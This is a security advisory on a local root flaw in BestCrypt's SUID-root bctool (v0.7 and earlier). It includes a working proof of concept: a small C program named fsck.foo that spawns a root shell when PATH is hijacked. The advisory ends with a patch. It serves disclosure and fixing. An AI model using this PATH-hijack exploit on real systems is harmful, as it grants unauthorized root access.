COMMAND
BestCrypt
SYSTEMS AFFECTED
BestCrypt up to and including v0.7
PROBLEM
Joel Eriksson found following. He has discovered a flaw in the
SUID-root "bctool" program that comes with BestCrypt from Jetico.
For those of you that did not know, BestCrypt is a product that
allows users to create encrypted loopback filesystems using
encryption algorithms such as Twofish, Blowfish, Gost or DES.
While the Windows version (yes, compatible with the Linux version)
is commercial and only distributed in binary format, the Linux
version is distributed with source code under the GPL license.
Joel had to run "fsck" (filesystem check) on an encrypted
container after his two-year-old son accidently pressed the power
button to his computer it occured to him that when the filesystem
type is specified to "fsck" with "-t <fstype>" it executes
"fsck.<fstype>" to do the actual check. "mkfs" behaves the same
too btw. So, he tested the following:
[je@seth ~]$ id
uid=502(je) gid=505(je)
[je@seth ~]$ bctool new fscktest -s 1k -a des
Enter password: fscktest
Verify password: fscktest
[je@seth ~]$ cat > fsck.foo.c
#include <unistd.h>
#include <stdio.h>
int main(void)
{
setuid(geteuid());
execl("/bin/bash", "-bash", NULL);
return 1; /* this should not be reached */
}
^D
[je@seth ~]$ gcc -o fsck.foo fsck.foo.c
[je@seth ~]$ export PATH=.:$PATH
[je@seth ~]$ bctool fsck -t foo fscktest
Enter password: fscktest
Parallelizing fsck version 1.19 (13-Jul-2000)
[./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05# exit
[je@seth ~]$ ln -s fsck.foo mkfs.foo
[je@seth ~]$ bctool format fscktest -t foo
Enter password: fscktest
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05#
SOLUTION
Authors already made a new version available that fixes the bug
(v0.8) and hopefully this one does not have any more nasty
security holes in it.
Here is a patch Joel made for himself:
--- bcrypt-0.7-2/src/misc.c Wed Jan 31 11:00:04 2001
+++ bcrypt-0.7-2/src/misc.c Mon Jun 4 00:18:47 2001
@@ -251,8 +251,7 @@
int run_process(char *args[])
{
int pid, i, j;
- char *env[16];
- extern char **environ;
+ char *env[] = { "PATH=/sbin", NULL };
assert(args != NULL);
assert(args[0] != NULL);
@@ -266,25 +265,6 @@
if ( pid == 0 )
{ /* Child */
-
- /* Prune environment to remove any potentially dangerous variables. */
- i = 0;
- for ( j = 0; environ[j] && i < sizeof(env)/sizeof(env[0]) - 1; j++ )
- if ( strncmp(environ[j], "HOME=", 5) == 0 ||
- strncmp(environ[j], "USER=", 5) == 0 ||
- strncmp(environ[j], "PATH=", 5) == 0 ||
- strncmp(environ[j], "LOGNAME=", 8) == 0 ||
- strncmp(environ[j], "TZ=", 3) == 0 ||
- strncmp(environ[j], "MAIL=", 5) == 0 ||
- strncmp(environ[j], "SHELL=", 6) == 0 ||
- strncmp(environ[j], "TERM=", 5) == 0 ||
- strncmp(environ[j], "DISPLAY=", 8) == 0 ||
- strncmp(environ[j], "PRINTER=", 8) == 0 ||
- strncmp(environ[j], "XAUTHORITY=", 11) == 0 ||
- strncmp(environ[j], "TERMCAP=", 8) == 0 )
- env[i++] = environ[j];
- env[i] = NULL;
-
execve(args[0], args, env);
msg(stderr,"execve %s failed: %s\n", args[0], strerror(errno));
}